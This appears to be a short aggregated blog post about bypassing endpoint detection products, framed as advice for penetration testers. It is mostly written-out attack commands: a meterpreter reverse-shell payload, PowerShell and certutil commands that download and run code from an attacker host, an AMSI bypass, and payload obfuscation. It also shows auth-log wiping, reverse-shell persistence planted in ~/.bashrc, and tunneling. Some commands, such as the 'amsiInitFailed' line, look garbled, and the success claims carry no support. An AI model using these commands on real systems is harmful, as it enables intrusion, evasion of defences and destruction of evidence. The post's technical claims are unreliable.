2025-02-11
In the ever-evolving landscape of cybersecurity, bypassing Endpoint Detection and Response (EDR) solutions has become a critical skill for penetration testers and red teamers. Recently, I successfully bypassed several leading EDR solutions, including Bitdefender GravityZone, Kaspersky, Trend Micro, Sophos, ESET, Avast, MalwareBytes, Symantec, McAfee, Windows Defender, SentinelOne, and CrowdStrike. Below, I’ll share some practical techniques and commands that can be used to test and bypass these systems.
Techniques and Commands
1. Process Hollowing
Process hollowing is a technique where a legitimate process is created in a suspended state, its memory is unmapped, and then replaced with malicious code. This can be done using tools like Metasploit or custom scripts.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Your_IP> LPORT=<Your_Port> -f exe -o payload.exe
Use the generated payload in a process hollowing script to bypass EDR.
2. Reflective DLL Injection
This technique involves loading a DLL directly into memory without writing it to disk, making it harder for EDRs to detect.
powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://<Your_IP>/Invoke-ReflectivePEInjection.ps1'); Invoke-ReflectivePEInjection -PEBytes <DLL_Bytes>"
3. AMSI Bypass
Antimalware Scan Interface (AMSI) is a common target for bypassing EDRs. A simple AMSI bypass can be achieved using PowerShell:
powershell -c "amsiInitFailed"
Or by using a more advanced script:
powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://<Your_IP>/amsi-bypass.ps1')"
4. Living Off the Land Binaries (LOLBins)
Using built-in Windows tools like certutil, bitsadmin, or wmic can help evade detection. For example:
certutil -urlcache -split -f http://<Your_IP>/payload.exe payload.exe
5. Custom Payloads and Obfuscation
Custom payloads with obfuscation techniques can bypass signature-based detection. Tools like Shellter or Veil-Evasion can help create such payloads.
veil-evasion --ordnance-payload windows/meterpreter/reverse_tcp --ip <Your_IP> --port <Your_Port> -o payload
6. EDR-Specific Bypass
For Bitdefender GravityZone, I used a combination of process injection and API unhooking to evade detection. This involved using tools like Cobalt Strike or custom C++ code to unhook EDR hooks from system APIs.
What Undercode Say
Bypassing modern EDR solutions requires a deep understanding of both offensive and defensive techniques. The commands and methods shared above are just the tip of the iceberg. Here are some additional Linux and IT-related commands that can be useful in similar scenarios:
- Linux Process Injection
gcc -o inject inject.c -ldl ./inject <PID> <Path_to_Library>
Network Enumeration
nmap -sV -sC -p- <Target_IP>
Privilege Escalation
sudo -l find / -perm -u=s -o -perm -g=s 2>/dev/null
File Transfer
python3 -m http.server 8000 wget http://<Your_IP>:8000/payload.exe
Log Cleaning
echo "" > /var/log/auth.log
Persistence
echo "nc -e /bin/bash <Your_IP> <Your_Port>" >> ~/.bashrc
Firewall Bypass
iptables -I INPUT -p tcp --dport <Your_Port> -j ACCEPT
DNS Tunneling
dnscat2 --dns server=<Your_IP>,port=53
SSH Tunneling
ssh -D 1080 user@<Your_IP>
Memory Analysis
volatility -f memory.dump --profile=Win10x64 pslist
For further reading, check out these resources:
Bypassing EDRs is not just about running commands but understanding the underlying principles of how these systems work. Always stay updated with the latest techniques and tools to stay ahead in the game.
References:
Hackers Feeds, Undercode AI
